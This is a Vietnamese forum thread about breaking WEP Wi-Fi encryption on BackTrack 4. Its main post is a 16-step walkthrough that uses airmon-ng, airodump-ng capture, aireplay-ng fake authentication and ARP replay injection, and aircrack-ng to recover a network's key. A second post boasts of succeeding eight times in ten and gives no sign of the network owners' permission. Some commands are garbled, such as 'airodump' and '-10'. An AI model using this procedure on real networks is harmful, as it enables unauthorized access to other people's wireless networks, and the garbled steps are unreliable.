rồi nhé!!?? bật lại đi)) => #/s tăng như đúng rồi, 20 phút là
100000 ivs
-rồi aircrack file đã write bằng airodump => key found!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

cách này rất hay cho những ai hay tự kỉ vì crack wifi bằng 1 máy như tôi, và thành công sau 8/10 lần thử

---------- Bài thêm lúc 22:35 ---------- Bài trước là lúc 22:33 ----------

không
nhất thiết phải dùng cái data base làm gì bạn ạ, cấu trúc cái file
essid rắc rối lắm<đến tôi cũng không hiểu, chém gió thôi



[b]nhoveem007vn
B1 : khởi động chương trình backtrack4
B2 : gõ startx để vào backtrack4
B3 : nhấn chuôt phải chọn Run command gõ airmon-ng vào chương trình
B4 : gõ iwconfig để xem tên card mạng mình đang dùng thường là wlan0 và mon0
B5 : gõ airmon-ng start wlan0
B6: gõ airodump-ng mon0 để xem địa chỉ mac,kênh,kiểu mã hóa (wep,wpa…)
chú ý là lượng data phải tăng tức là có máy kết nối AP mới hack được.
B7 : gõ lệnh airodump -w wep -c kênh –bssid mac wlan0 (khoảng trắng là 1 dấu cách)
B8 : nhấn vào góc trái dưới màn hình tạo shell2
B9 : shell2 gõ lệnh aireplay-ng -10 -a mac(địa chỉ) wlan0
B10 : tạo shell3
B11: trong shell3 gõ lệnh aireplay-ng -3 -b mac(địachi) wlan0
B12 : tạo shell4
B13 : quay lại shell kiểm tra lượng Data ,packet
B14 : vào shell3 kiểm tra lượng ARP và ACKs packets
B15 : vào shell4 gõ lệnh dir xem kết quả.
B16: gõ tiếp lệnh aircrack-ng wep-01.cap hay aircrack-ng wep-02.cap
hay aircrack-ng wep-03.cap ……….tùy vào file.cap bạn có được.Nếu lượng
IVs đủ thì bạn sẽ có kết quả .
KEY FOUND ! …………
DECRYPTED CORRECTLY : 100%
Lúc mình crack thì thấy mới 3000IVs là được key rùi.
CHÚC CÁC BẠN THÀNH CÔNG !!!!!!! GOOLUCK

---------- Bài thêm lúc 00:44 ---------- Bài trước là lúc 00:38 ----------

Mình dùng backtrack4 khởi động bằng USB mutiboot
cách làm USB mutiboot thì các bạn theo link sau nhé
http://forum.bkav.com.vn/showthread....iniXP-Hiren-s-